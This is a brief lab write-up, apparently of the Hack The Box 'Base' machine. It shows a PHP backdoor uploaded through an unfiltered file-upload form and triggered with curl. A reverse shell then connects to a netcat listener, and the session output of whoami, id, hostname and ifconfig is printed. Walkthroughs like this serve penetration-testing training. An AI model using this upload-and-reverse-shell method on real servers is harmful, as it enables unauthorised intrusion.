Base_Exploitation

File Upload

---

I uploaded a test file; test.jpg

The uploaded test file is present in the /_uploaded/ directory

Uploading the payload

The payload is uploaded. No filters apparently

┌──(kali㉿kali)-[~/archive/htb/starting-point/base]
└─$ curl "http://base.htb/_uploaded/backdoor.php"

Invoked the shell

┌──(kali㉿kali)-[~/archive/htb/starting-point/base]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.16.120] from (UNKNOWN) [10.129.95.184] 54730
socket: Shell has connected! PID: 2792
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname
base
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.129.95.184  netmask 255.255.0.0  broadcast 10.129.255.255
        inet6 dead:beef::250:56ff:fe96:61b0  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:fe96:61b0  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:96:61:b0  txqueuelen 1000  (Ethernet)
        RX packets 1319431  bytes 232597958 (232.5 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1273439  bytes 577424855 (577.4 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 14767  bytes 1295638 (1.2 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 14767  bytes 1295638 (1.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold as www-data via file upload